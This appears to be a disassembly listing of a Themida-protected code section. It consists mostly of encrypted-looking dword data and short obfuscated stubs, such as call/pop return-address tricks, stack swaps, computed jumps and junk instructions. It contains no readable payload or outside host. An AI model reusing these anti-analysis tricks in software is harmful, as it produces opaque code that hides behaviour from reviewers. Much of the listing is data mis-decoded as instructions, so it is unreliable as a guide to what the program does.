sub_5B5726 proc near ; CODE XREF: Themida_:005B571Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5B5726 endp
; ---------------------------------------------------------------------------
dw 50F4h
dd 0EE9F7h, 14220000h, 102AAEA5h, 3672A082h, 0B9BB5D9Fh
dd 267185C7h, 614h, 5E90000h, 1F000000h, 0C295F1B6h, 2111B5FFh
dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 2B16EBC3h, 0D1AB17D0h, 293384FCh, 142661B5h
dd 6195FF06h, 0E9061423h, 0Ch, 0B0775C70h, 2D798CB7h, 41340172h
dd 68F0Fh, 958B0000h, 6142B05h, 95FF006Ah, 6141169h, 29EBC08Bh
dd 315ADA54h, 501453Fh, 6D439BCBh, 0EE143D7Dh, 0E39645C2h
dd 405D2238h, 126661E1h, 0DC919211h, 0A5B69B70h, 0C5B3F6B8h
dd 0BC8D8D2Fh, 6A061ACCh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 3543C351h, 8D89E0F7h
dd 6143229h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 53C35040h, 64D85C7h, 62B00614h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 7683B6C3h, 607A7756h, 615A5760h, 6830Fh, 958B0000h
dd 6142B45h, 2DB58961h, 0C706141Ah, 14267185h, 6, 65952900h
dd 0FF061423h, 140591B5h, 849CBA06h, 95FF22A5h, 6142361h
dd 95FF006Ah, 6141169h, 7FEBC08Bh, 81F10A85h, 93CF64Bh
dd 0E49E6129h, 5E7C44A0h, 299189E2h, 9E90CDD9h, 1602ECC5h
dd 0F3FB98BCh, 1E0D2111h, 7B0A076Ah, 98F35457h, 53951878h
dd 97F9609h, 7729371Ah, 0AFD77ED7h, 8C83941Eh, 3C6822C5h
dd 25F8893Bh, 0CC00EA98h, 0BCAD817Bh, 0A336AEF9h, 9B985C03h
dd 1303A81Eh, 5DDB8526h, 3953C55Fh, 0C4165A41h, 0CC5F8E54h
dd 0BF2B9308h, 0CAEA5AADh, 0F91B2736h, 6AE03203h, 8D8436E9h
dd 1ACDEC8Dh, 89F98B06h, 1432298Dh, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 81B48019h
dd 85C760B6h, 614064Dh, 6348h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 82C35040h, 2DB74BAh, 31452F7Bh
dd 0C7F18B66h, 14267185h, 6, 0D8B70F00h, 0FFF7BF0Fh, 14220DB5h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 9589A8E7h, 61420F1h, 0FFC2B70Fh, 14236195h
dd 8BCB8006h, 95FF006Ah, 6141169h, 7EEBC08Bh, 0C239B284h
dd 95075B56h, 5AEC6B8h, 0B2F7F7A2h, 0D847995Ah, 0F17F8E34h
dd 0FD47A4FCh, 3473DED1h, 932CF6BBh, 709A26Fh, 0C8368563h
dd 0A6EF2097h, 0C6DC9F6Fh, 0AB06D55Ah, 0F95EB5B6h, 0D46E0CE8h
dd 974BF0CAh, 0C3368ECDh, 19FFCFh, 6865F965h, 3EE8EB19h
dd 66915C0Ah, 0B3A9D802h, 0BE7E8C66h, 1B13C697h, 0EAF07C5h
dd 5B27892h, 544DECBEh, 6AE8D7D1h, 0B7902A1h, 26798721h
dd 27E97B13h, 1A000000h, 69DE2Eh, 8 dup(0)
dd 47E90000h, 6800000Bh, 61AD022h, 0FA781DE9h, 0D14968FFh
dd 13E9061Ah, 68FFFA78h, 61AD2DDh, 0FA7809E9h, 0D3E868FFh
dd 0FFE9061Ah, 68FFFA77h, 61AD59Eh, 0FA77F5E9h, 0D76E68FFh
dd 0EBE9061Ah, 68FFFA77h, 61AD891h, 0FA77E1E9h, 254DBFFFh
dd 0A8C24054h, 2D3DC3D7h, 0AFB9485Ch, 363CCADEh, 0BEAB5065h
dd 45592A48h, 0CDE1B2BEh, 53673838h, 89EBBCACh, 0C814A844h
dd 39973047h, 4226D9E9h, 0AEBA4589h, 36F97EBh, 0D2FE624Ah
dd 91F5174Fh, 7246C700h, 0FA96595Ah, 34105311h, 6D030054h
dd 0E73A73B4h, 79119D56h, 0B304112h, 11A541F7h, 8C304113h
dd 6DB16AFBh, 0D81BD494h, 96E872F4h, 882B3630h, 356FA731h
dd 0A9A31EE1h, 50FA7CB6h, 4B78B142h, 2Fh, 1194Dh, 2068A13Dh
dd 0B5ED3410h, 17866FBFh, 94710575h, 6924BDCh, 30417A6Eh
dd 0D79ADC42h, 6FA79D34h, 0D427h, 23E03400h, 0D996144Dh
dd 16894226h, 0F963F793h, 0DF52A2Ch, 0C063A45Dh, 4649B2Fh
dd 8DD10A4Bh, 0FC40F979h, 4EA26503h, 1881BAB8h, 6C3D2BD4h
dd 2C05C210h, 4127D82Ah, 0EAA2D70h, 2A2CFD7Ah, 0E72B64F5h
dd 93975018h, 34B77A7Bh, 2CFE0498h, 0FD6B962Ah, 1D90C95Ah
dd 1023B081h, 5324B534h, 0A366677Fh, 27CEA507h, 884BDC3Ah
dd 0CFA0D234h, 0D96D098Ch, 542A2FA2h, 0C0468AC3h, 0A692E9B2h
dd 9C17E0B9h, 93B4Eh, 6111FB00h, 0E4867C90h, 6901FF13h
dd 0EB7D8498h, 7200061Ah, 0FA578CA1h, 8195660Ch, 91DEE82h
dd 8FA374FCh, 0C527F870h, 0C950E480h, 6DCB3047h, 452DD91Dh
dd 12AE3174h, 2A2CF97Eh, 0F3377001h, 488B5C0Ch, 0BCA04950h
dd 70A9AD4Fh, 119F2h, 5119E93Dh, 0AB1E5798h, 101FD60Fh
dd 510A9B34h, 41142DC5h, 68BC0130h, 0A0C52D9Eh, 2FB0F590h
dd 95D1659Eh, 0A7FD29CCh, 6CDED66Fh, 0B8C129EEh, 0E8A1C738h
dd 0B0DD16A7h, 0E1h, 9B26D9B2h, 2F16CF7Bh, 0A96CFDEFh
dd 3F0E8CB1h, 0FF3876FEh, 0BEB45296h, 0C43E9205h, 93E16DA6h
dd 762A2C54h, 0FA8EE422h, 0E5296208h, 3A7D4E1Ah, 195220E6h
dd 853E2AD5h, 0A5686981h, 3832CE22h, 2D44C85Ch, 1EB2432Ah
dd 8ECF88E2h, 7546E255h, 0F834106Ah, 4B059935h, 0F7883041h
dd 0A9C19566h, 0C662E5A8h, 30414B32h, 0BA4EEAADh, 3530414Ah
dd 67DA13A4h, 28075ACBh, 8FB8F3Ah, 0DD6EAF68h, 0BE43971Ah
dd 801159A7h, 6F030347h, 0F67C8A9Eh, 0B9EA382Dh, 9CEA65E0h
dd 814h, 0B788EA22h, 3A0B5FA3h, 0BF90DA26h, 411256ABh
dd 0C899D92Dh, 0E5210EB3h, 5BA8BC8Dh, 0D5304415h, 49B6CA9Bh
dd 0A7EC4E1Fh, 47CA770Bh, 4494F230h, 0C0AA56AAh, 0AFC34387h
dd 8C35CADEh, 11A271CFh, 29FA8BE4h, 4226D9DBh, 2C1E1689h
dd 11156932h, 5756C7FFh, 459BEF19h, 3137C80Ch, 73748C60h
dd 0CCC314B0h, 35C63410h, 0A1C7387Ch, 2243BCD0h, 0F9778CE1h
dd 0DA6EAF68h, 0FCB5462Ch, 0F6E7F770h, 98DE32B9h, 0B5B34CA0h
dd 0A1C7387Ch, 2543BCD0h, 0D947E06Ch, 0DB1EAB7Fh, 0DA28BC58h
dd 12A3AB7Fh, 362145D9h, 0BACE9FC9h, 0DE6A2345h, 0AB7FDA41h
dd 0E077EFC5h, 6478491Fh, 80F5269Bh, 0B95E44C0h, 0FE8F2048h
dd 4E1AE73Bh, 90A8AC15h, 8A78CC8Fh, 18B427E0h, 0A8DA8D84h
dd 0ACE57607h, 0B1389D39h, 0C455B2BDh, 0A95CB0F3h, 11824020h
dd 36C79B6Dh, 0E0E1F9FDh, 0A334811Dh, 0C519ACC9h, 34783141h
dd 0D50E9FD1h, 8F23BF82h, 0AA8DA92h, 0A32FE879h, 0A8DA930Ah
dd 75FC7AE0h, 0E840B1D2h, 3F3C5h, 41C4C700h, 6124253Dh
dd 0F9AE42DEh, 0F9312A2Ch, 8DA823E5h, 3D7607F1h, 0CF347CAh
dd 2962A35Ch, 10B4DC9Dh, 4820B134h, 306622FAh, 0B45C74AFh
dd 7A958D8h, 19DC6DC1h, 2B05347Dh, 0CF8819BBh, 75FB085Ch
dd 0C1BB123Dh, 0E51EEDE4h, 5C8C9E1h, 218B2669h, 0C78A1BB5h
dd 31714C44h, 0F9C23F04h, 0E5837CC0h, 69FF0014h, 0A2F6A1A0h
dd 1967E267h, 680h, 4B1C56B6h, 0CE9FCB37h, 532446BAh, 0D5A6C23Fh
dd 5C2D45C1h, 51B59247h, 0C73C5021h, 41C4D8A9h, 0B54A5E2Fh
dd 3B80E2B3h, 47CC0B9Fh, 0E0308E30h, 3D000119h, 0F98A1EBAh
dd 74052A2Ch, 0DB2CC83Bh, 4E341001h, 3FC004BDh, 0EB6E6629h
dd 5A9DAACFh, 4D75DE17h, 76F93F37h, 417C46DAh, 0CA35C930h
dd 13A4E59Eh, 0BDBED6DAh, 840D5EFAh, 0EF803A24h, 89B1A92Ch
dd 0F7D83C99h, 0A7B04420h, 9A2B2A2Dh, 4DFF0062h, 85BE265Ch
dd 0EDC9C104h, 64F9806Fh, 40D47033h, 0BB2A2D8Bh, 52ADF12Ah
dd 31C561E4h, 0AC2A2D8Bh, 8AAB3F1Bh, 9D2E2A2Dh, 0F00F530Ch
dd 5CC0BF78h, 0B6B24D1Ah, 19AAA2E5h, 0F1D3DCDFh, 0CF72ACE5h
dd 0C2699321h, 2B4h, 119C4h, 9C66BA3Dh, 690995CEh, 1C3417CBh
dd 9274C88Bh, 0BFB0FE0h, 3DCE9C64h, 43BD1184h, 0C362EE27h
dd 263047C7h, 4406712Eh, 70A9A56Fh, 0CC95D32Ch, 195EAE93h
dd 75F341BCh, 0C1000005h, 4256274Bh, 0C5D9AAC0h, 4A5E2F3Bh
dd 0CCE0B1B7h, 5267383Ah, 2C46C0ADh, 0B4BC475Bh, 3A36CFE3h
dd 0BEAA5569h, 0AA468BEDh, 3047CD16h, 0AAEB3B99h, 6BFA956h
dd 70293FC2h, 61659E2Fh, 0E9854849h, 3417CB49h, 7FF2AB3Ch
dd 0D396DA2Bh, 47C7A337h, 5C952630h, 0B081E718h, 4205639Ch
dd 0C78F23BFh, 760A3047h, 0B94DDE8Ch, 83EC254Dh, 0EFA8C03Fh
dd 4EEA8CF0h, 0C79B2FCBh, 8D1E3047h, 0D2EF1054h, 0C44256D3h
dd 0A467F8D0h, 0EEF18521h, 0DB6C3047h, 741721A2h, 216FAE11h
dd 0CF3235CDh, 0E9FE099h, 0AEDB1455h, 1CCh, 9B26D9B0h
dd 194D0A42h, 39F283A4h, 8D5E0AF5h, 0DDA0A1B9h, 3AF37789h
dd 0B14DC0F9h, 341102C8h, 264AB90Dh, 3BD79AEDh, 3041E1A7h
dd 3D009122h, 0E9541A45h, 1AB6ABF2h, 3041D486h, 0AEE77809h
dd 0D521B945h, 4EB33041h, 0E91D611Ah, 0E135D089h, 0AFD02E85h
dd 0ED023F85h, 0C2A40A5Ch, 0B347E366h, 363041ABh, 8F326CA5h
dd 826FA7CAh, 44h, 0AC56AA84h, 92D82ABEh, 393D5559h, 0A7E8A1C9h
dd 7CD05316h, 8622E583h, 2A2CF9F2h, 17A3DC6Dh, 34101FDEh
dd 0CD5912A3h, 30411435h, 9670C409h, 20DF23DCh, 0EA7EB748h
dd 3642E58Ch, 0A0356FA7h, 37000000h, 894226D9h, 0F8B1C145h
dd 641D4BB4h, 0B889DF20h, 2C060E5Ch, 0FA095D2Ah, 346961CFh
dd 5BECE07Ch, 0F9DBBAA2h, 2B3C7Ah, 0DF2366Fh, 9EB68A5Bh
dd 473EDA9Dh, 0A2341419h, 7DB6B44Eh, 82D6992Ah, 91DEE84h
dd 0DD1DCEFDh, 0DC63D4D8h, 5453824Bh, 0DD58E6ADh, 3BF8Fh
dd 0DD957700h, 600AF80Ch, 0E5857B8Fh, 67010014h, 0EE848296h
dd 76D3081Dh, 0FD11E290h, 85996A06h, 0B1FF080h, 41A374F4h
dd 0CECC60FCh, 0F14F3047h, 452DD9A1h, 29DD3174h, 0F9E77B17h
dd 0D1622A2Ch, 3CC30740h, 0D90D5B2Ch, 0A3C23F26h, 0EB7C0D5Dh
dd 0A03CBF32h, 2A2CFA0Ch, 6206FB8Fh, 9ED768A9h, 0F2C3A55Ah
dd 4205061Eh, 0F3B318EEh, 2A6D9E47h, 92053ECFh, 10B891F6h
dd 8D29EC34h, 304180F9h, 9952E374h, 4180730Dh, 0F074A30h
dd 82C5D9B2h, 0EB7FB863h, 3041C8Bh, 0A03FA440h, 469A3A24h
dd 0B5F6AFB9h, 0C798297Ch, 6AD63084h, 2D923ACEh, 9324B52Ah
dd 37CB67DAh, 0B22A2D92h, 0D9579021h, 181026D9h, 28B321E2h
dd 12A682AEh, 8D2A2DCEh, 6EB26BFCh, 3206D791h, 0BA56191Ah
dd 3410FED1h, 5EEAA334h, 3041DDC6h, 0FE01559Ah, 0D99D316Ah
dd 0A7FCF598h, 3CE86Fh, 19EA0000h
dd 0A13D0001h, 34102068h, 8322AEDh, 5493B5FFh, 7B790DE9h
dd 38D43041h, 30417BA4h, 5FF39627h, 0CE0FC8A0h, 67F3AC3Dh
dd 30417BCFh, 38393DA3h, 6FA79E95h, 0E588h, 26D98A00h
dd 0F9E07410h, 956A2A2Ch, 0E9F30D3h, 3559534Bh, 48F1D02Ch
dd 0E8214FB4h, 0A7CB3B7Fh, 31C561E4h, 0AC2A2DCAh, 4D2F0474h
dd 1BAC368Eh, 0CA3579E2h, 5EA1E59Eh, 8FDD390Ah, 92A2C66h
dd 10A440F6h, 8B2A2D5Eh, 559869FAh, 9B6A0501h, 0C70B44D5h
dd 4773038h, 0E0194FB0h, 46C0C4DCh, 3CD89B2Ch, 34108DE3h
dd 3004D566h, 541718h, 0D29E6700h, 8E47D819h, 5A1144Dh
dd 3A28050Ch, 0A9FDC051h, 144155Dh, 5B1454ADh, 699DE11Ah
dd 0EC234009h, 219CE0B9h, 1EFD3h, 0ADC54700h, 303AC8DCh
dd 0B5B54B5Fh, 3731D0E4h, 0BEB45266h, 4623D8EDh, 0CDE1B2C0h
dd 55693A36h, 0DBEFC0B0h, 11734424h, 0D09C30CCh, 0C11F3047h
dd 9E2DD971h, 0BF625433h, 0E1A435FEh, 4C9B09E9h, 79B2818Ah
dd 4D1BE4F8h, 0B2AA2E7Ch, 4A0C75Ah, 2A2DF870h, 0C3225AEBh
dd 0FC003943h, 9D20E3E4h, 0E20F13A5h, 73ACDE38h, 10A7AEE7h
dd 0C13F9334h, 76AFF0A9h, 66D99223h, 0B14DF112h, 30418C1Dh
dd 0C57E0FA0h, 27BF4B84h, 0FB30418Ch, 0ED90D195h, 0E06FA7AEh
dd 0D3h, 5FB2AAE2h, 1BC42E24h, 44BBFF38h, 0DF276B24h, 4EDA93h
dd 7A2A2CAAh, 2820E385h, 0F81A1E57h, 5EEB952Eh, 0A02B9C9Ah
dd 4155D60Fh, 0EDF1AABEh, 7511D4D5h, 3410851Ch, 0EBBF9021h
dd 7004A0D3h, 0FA304164h, 1C46709h, 4164D165h, 2ABB4C30h
dd 7E82D699h, 0B9F233ECh, 20D0AA46h, 0B0333A28h, 2FD88014h
dd 316AFB2Ah, 78A4DDEh, 631C4CB3h, 0A78FEA22h, 0A5F097DEh
dd 94DE286Ch, 1B57AFC3h, 0B9992F52h, 0CB1994E0h, 0CCh
dd 0FFD0A26Ah, 825317EBh, 7D8926Eh, 895A0EF3h, 10E19175h
dd 9D69C6FBh, 13F004D5h, 8D788C5Dh, 1FE12E3h, 0EF349667h
dd 47D1BF53h, 8CDC3A30h, 565DB2AAh, 312CB730h, 2052B4F8h
dd 0A4C43B4Fh, 0C43C90D3h, 0D9EF6DA6h, 45894226h, 9DDAEBAh
dd 912DF0F1h, 3417CBEDh, 246FF90h, 869A6BFDh, 0B9484879h
dd 0BE4454C9h, 0AE8742Dh, 0B9A07C57h, 0A9560165h, 46894318h
dd 7C0DCA9Fh, 0EF1468ABh, 0C487C881h, 0BF49428h, 4D861794h
dd 0B972F609h, 0A5358C75h, 3B9070FDh, 7509A568h, 0F8940B6Ch
dd 0F51DD667h, 0E7340800h, 6FE5FD35h, 93C4A236h, 172BFC6Ch
dd 1EB24EE8h, 0A1940B98h, 53C67F10h, 316A06FFh, 3E3h, 1BAB1300h
dd 863F33D9h, 0F2ABBD42h, 601957AEh, 0D089E71Ch, 3FF87A8Ch
dd 0AE670BFBh, 18D1976Ah, 853E2CD4h, 0F0A9C141h, 736568EAh
dd 2C890000h, 4EC8324h, 68243C89h, 1081h, 68241C89h, 61ACEE6h
dd 83243C8Bh, 8B5404C4h, 0C481241Ch, 4, 4EC81h, 4890000h
dd 8B824h, 0D8010000h, 0FF583889h, 815B2434h, 4C4h, 243C8B00h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55D2A6
; ---------------------------------------------------------------------------
align 2
sbb eax, 0B8F5481Dh
sbb cl, 1Ah
push es
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 10h
dd 5A5ACF7Fh, 7F2D5533h, 2D0F3478h, 284F3B7Bh, 0B6755688h
dd 434E307h, 234CE99Fh, 1B6DE3E6h, 0F55152D9h, 977125Fh
dd 9011D5F1h, 0DA4B2324h, 0E81B1B33h, 12h, 7F0EB223h, 0DAD63271h
dd 9D360034h, 1572D9E4h, 0C38BB534h, 0FE85Fh, 980B0000h
dd 2A442620h, 5D012DCEh, 0DFE0AD7Dh, 0F18B66BCh, 16C78158h
dd 0B6000071h, 0F014BB40h, 0EB8105ACh, 5ACD407h, 0CE960h
dd 0C14E0000h, 438A0632h, 0D4035B92h, 8E90A49h, 0D4000000h
dd 15D5E389h, 617E557Dh, 0FE90F8Bh, 0BC000000h, 2D62A9Ch
dd 735EEFE8h, 0A2824AB4h, 0F181E79Eh, 48837070h, 42C181F5h
dd 0F7DB6CBh, 580h, 0DC09B800h, 0F1812B7Fh, 46AAE659h
dd 5E1F90BEh, 0BA66513Eh, 78F18C6h, 6840Fh, 0C6810000h
dd 28373190h, 0B604EF83h, 1EB8181h, 0F000000h, 1585h, 0C28B6600h
dd 21E9h, 1FF75A00h, 40F37CC7h, 6E95B527h, 8166EE83h, 0E918CCD6h
dd 0FFFFFF84h, 454264AAh, 49D16h, 8D8D8366h, 61ADB82h
dd 88A0Fh, 81500000h, 0A02BE1C6h, 8D895A03h, 6143229h
dd 64D85C7h, 71A00614h, 0E6800000h, 7185C795h, 61426h
dd 8B000000h, 1426819Dh, 14E806h, 0D8030000h, 0FB393D80h
dd 0B3C05DA2h, 89AE426Fh, 92327535h, 9D016BB4h, 6140AD1h
dd 11B5FF58h, 0F061421h, 95FFC7BFh, 6142361h, 23A1BD8Bh
dd 6A0614h, 116995FFh, 0C08B0614h, 0BADD29EBh, 0A80AC225h
dd 5CD6DC4Fh, 6CCD7D3Dh, 88FDFC78h, 0AB50184Dh, 0CF6DB88h
dd 0BDA0F35Ch, 113E312Bh, 655AB646h, 0E8A26A4Bh, 14h, 20175F1Fh
dd 0AE37696Fh, 0E092C664h, 0AD1F1D8Ah, 279CA73Ah, 9018D89h
dd 815E0614h, 6F49C6h, 0C6BF0F00h, 0B9h, 1DBD2900h, 8B06140Ch
dd 8B0F0E1Ch, 0
dd 0BE4DEB81h, 830F22B1h, 6, 0A499533h, 0EB810614h, 4F463E3Eh
dd 3860Fh, 0BF0F0000h, 15F381FBh, 89711526h, 1406618Dh
dd 8FF95306h, 0B5010E04h, 6140549h, 8E58D89h, 0E9830614h
dd 0E99D8904h, 81061434h, 0FF9144F9h, 0A4850FFFh, 89FFFFFFh
dd 143501B5h, 0EE806h, 0FD680000h, 7C2F3CDCh, 0B136FC1Bh
dd 53A5338Ch, 6840F59h, 89000000h, 1409D185h, 3FC18106h
dd 0E9000061h, 0Ah, 523CB1C6h, 2D8C4B47h, 26BBEEE7h, 0F000018h
dd 398BF2BFh, 0C7D8529h, 0EF810614h, 0D5CFF31h, 0CEE2C781h
dd 8C0F519Dh, 6, 1725BD29h, 0F7810614h, 9DC0D92h, 1941B58Bh
dd 39890614h, 8B03E983h, 141625B5h, 81F54906h, 1EBh, 12850F00h
dd 0E9000000h, 29h, 0B9E9375Ah, 7BF01AB8h, 10747925h, 2820F6Ch
dd 0B6000000h, 0FF9CE935h, 0A43EFFFFh, 473DEE69h, 0B048A2FCh
dd 0E3CFD71Eh, 10E983h, 0CE230000h, 4FD1h, 2 dup(0)
dd 0ADE90000h, 68000004h, 61ADDFCh, 0F9A106E9h, 0DE6068FFh
dd 0FCE9061Ah, 68FFF9A0h, 61AE00Fh, 0F9A0F2E9h, 239C40FFh
dd 0DEDFF4D1h, 9823AF8Ch, 4D6C6946h, 4B91EFBh, 713F79B2h
dd 28055766h, 0E1BE10A9h, 9976C8F7h, 202C7E3Dh, 0C4AC9298h
dd 0C5C0580Ch, 0F8C5125Eh, 24973F4Ch, 0D888F6D2h, 0FA00C890h
dd 51F1E814h, 8DD10028h, 57E51CCEh, 4C145C84h, 5FC6046h
dd 0E6D3E358h, 0C3D267B2h, 3CA6D5FDh, 5F914F6h, 5DFD1F58h
dd 0D9E11F46h, 30ADFF8h, 17F60000h, 8632874Ah, 4DB3FF2Eh
dd 569E42B0h, 0E5020550h, 2B7A5157h, 7770C8A0h, 401DA1D0h
dd 247C2891h, 2C97EB8Ch, 0B4B52924h, 7B529A46h, 0C657B496h
dd 292F5E15h, 600AFC23h, 0BE6A925Bh, 549C44B2h, 7426594Eh
dd 1B638B61h, 0E133884Eh, 0BE9D204h, 351C9215h, 36283620h
dd 0E000003h, 0C29FF1CEh, 7D5AAC11h, 37146655h, 0ECC91B9Eh
dd 4780D2EBh, 25983F71h, 0DEDBF6D3h, 9629AF8Ch, 4C6F6744h
dd 6066EEFAh, 580CC57Ah, 132C938Eh, 0ABB1F9A5h, 57EAC4CAh
dd 9C64ACD4h, 58F709CFh, 0C4299D6h, 8C97C65Eh, 4320724Bh
dd 377D2994h, 580CBB56h, 0E0BEFDD9h, 3EA4FD4Ah, 0D20715FFh
dd 72000002h, 2603556Ah, 0E1BE10ADh, 9B78CAF1h, 502D7F3Ah
dd 0ABE43687h, 8934A30Dh, 42775A37h, 0FAC513F0h, 0B00BCBA8h
dd 0C4CA525Eh, 580CC5DEh, 1390F7F2h, 5D4349A5h, 7151F1E8h
dd 0EEEBF249h, 0FF0AA7F8h, 38191F67h, 4257EB9Ah, 46286E1Ah
dd 51580D9Ah, 0ED78132Fh, 11F8D23Bh, 1ECh, 0F7C41228h
dd 0B85CD8AFh, 606C9B15h, 469E4A73h, 8157FAEh, 0CEA5EDCEh
dd 7B1A9649h, 38487752h, 0FA42EE5Ch, 0E54A61F4h, 0FBA7CF57h
dd 629D3B5h, 3B08DE58h, 516E6A9Ah, 86B50DB9h, 0E87D1634h
dd 76F8D9ABh, 31C2A8AEh, 0AED65806h, 72197Fh, 17300000h
dd 9787840h, 4B7A745Eh, 0E32BD341h, 9A93441Bh, 51CA5174h
dd 0A81BDE22h, 9A6757E5h, 7DD5813Eh, 0EA19A230h, 6E4D8966h
dd 1C226AC2h, 5806A836h, 428A224Ah, 2D5C6375h, 0A79B7DC3h
dd 0D0A65806h, 0A5EDD003h, 6A7B99Fh, 76A5CD58h, 0F86D6624h
dd 66F8D931h, 0B3B2989Eh, 933F5806h, 5E247C28h, 2E8EE36h
dd 165806B4h, 0D259BFEEh, 70000000h, 0AFF7C412h, 33191FE7h
dd 4751F1E8h, 0E7B3991Fh, 9FC751F1h, 0DEF90670h, 0B02633DFh
dd 84525F0Bh, 2127EF37h, 51F1E83Bh, 0E7E1C7CDh, 0CDF551F1h
dd 0A0B0DF07h, 0F1ECCA8Ah, 0F0CB0B51h, 57EFC69Eh, 58A78E5Eh
dd 94020C3Bh, 0FDCA4ECh, 896FF5C8h, 9D51F27Fh, 3A404675h
dd 57E755A1h, 0CE9BE30Bh, 8086B50Ah, 0E3E924B3h, 580934FDh
dd 0FF51E911h, 3F7C5A27h, 9F858B93h, 0B3580934h, 0B9C4F38Bh
dd 73C19F1Eh, 0EA3EA882h, 123F200h, 0BB210000h, 0FED5B204h
dd 42906DBFh, 8B4A2779h, 0D8FFDC2Eh, 5E5A93E5h, 0E6388552h
dd 9FF1C809h, 57A916C2h, 0D5F5C7Ah, 8D737901h, 0A1580CC7h
dd 0C5123FA6h, 812D9043h, 7C499129h, 27376657h, 0DD2F8C4Ah
dd 0F7C41224h, 6E983E4Bh, 52AA5663h, 53EBD205h, 4375340Bh
dd 751A3DF6h, 0EC5A3646h, 0F525FC44h, 64674C57h, 0CA9298C7h
dd 0A416FC02h, 4D2A51F2h, 709F3786h, 0E610C12Ch, 5FA7CF57h
dd 26784592h, 6F22E10h, 9823B358h, 37A16E46h, 894E5988h
dd 8A7A8834h, 0D1000000h, 0B1F9A513h, 0EAC4BEABh, 0FCA8D057h
dd 0B91FE7EFh, 53435A06h, 0E78132DBh, 9FF18921h, 13F9FFC7h
dd 27580C2Eh, 11C5D0FFh, 1FF6FEAAh, 0F2D48E0Dh, 0FF437262h
dd 21D53640h, 0B521EE06h, 8B4D5A06h, 1B6D9C34h, 0AA11C57Fh
dd 605B7B58h, 8B2EA7B4h, 8BFF6C43h, 336893E0h, 0A3459A04h
dd 7D894DE7h, 61B96554h, 3C9A77C9h, 0A560377Fh, 216E7E2Fh
dd 8B990332h, 11h, 6C4ECC3h, 0D1553FA5h, 5EE4BBA2h, 4C7B4291h
dd 0F5CA1265h, 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h
dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 895233B8h
dd 4C281E2h, 83000000h, 148704EAh, 24248B24h, 4D0C68h
dd 243C8900h, 4E5168h, 240C8900h, 1ADD2E68h, 243C8B06h
dd 4C481h, 8B540000h, 0C483240Ch, 8BA5204h, 81000000h
dd 1E1993EAh, 81CA012Bh, 1E1993C2h, 5A3A892Bh, 592434FFh
dd 0FF04C483h, 835F2434h, 68E904C4h, 7FFF99Ch, 3F784544h
dd 1AE157B8h, 0FFC50306h, 6A7B87E0h, 3B177909h, 97222667h
dd 3DF8134Dh, 3EE97B1Dh, 99F43E62h, 0E888BB79h, 380A8014h
dd 0DF3F862Bh, 54959E68h, 0F28D8D3Bh, 6A061AE2h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 637C356h, 32298D89h, 95330614h, 6140BB5h, 64D85C7h
dd 64280614h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 0C77BCAC3h, 14267185h, 6, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 113DE840h, 99BD33CBh, 60061421h, 0A58D8960h, 8B061425h
dd 141D898Dh, 85296106h, 61400F5h, 91B5FF61h, 6A061405h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 0C10C351h, 0CC228136h, 500A329Dh, 0F81B58Bh
dd 0FF5F0614h, 14236195h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 7FF140CDh
dd 0DA8B113Ah, 5DBD33h, 6A0614h, 116995FFh
; ---------------------------------------------------------------------------
loc_5B6ED0: ; DATA XREF: Themida_:0054B184o
adc al, 6
mov eax, eax
jmp short loc_5B6F55
; ---------------------------------------------------------------------------
sbb dh, [edx-28h]
jns short loc_5B6F3C
dec esi
retf
; ---------------------------------------------------------------------------
db 0EAh, 71h, 0B7h
dd 0EDDA9997h, 5D69D55Fh, 1BF24695h, 54F1C7DAh, 6931BC25h
dd 0E66212D1h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
aas
loc_5B6EFA: ; CODE XREF: Themida_:005B6F3Fj
cmpsd
mov edx, [esi+edi*2-703FD60Ah]
popf
inc ebx
iret
; ---------------------------------------------------------------------------
db 7Fh, 48h, 0C7h
dd 0E4B8D3CFh, 12FE3A0Ah, 1F055D19h, 9F0013C5h, 1A332BA7h
dd 2B218799h, 0D23DDBA5h, 1CDDAF2Ch, 18D99A4Ah, 8930CB3Ch
dd 3D1890D7h, 80547641h, 0C9A8B459h
; ---------------------------------------------------------------------------
loc_5B6F3C: ; CODE XREF: Themida_:005B6ED9j
push edi
add bl, [edi]
js short loc_5B6EFA
fscale
add edi, 40h
stosd
sbb [esi+0FDB1F5Bh], cl
push ecx
db 2Eh
out dx, eax
add al, 0CAh
cmp byte ptr [edi], 0DAh
loc_5B6F55: ; CODE XREF: Themida_:005B6ED4j
lea ecx, [ebp+61AE4A1h]
push 0
push esi
call sub_5B6F66
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6F66 proc near ; CODE XREF: Themida_:005B6F5Ep
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5B6F66 endp
; ---------------------------------------------------------------------------
dw 0B6D4h
dd 324B2D08h, 0FE918h, 0CE590000h, 35A932A2h, 0BDFADD15h
dd 6008138Dh, 0DDB58BD1h, 89061402h, 1432298Dh, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
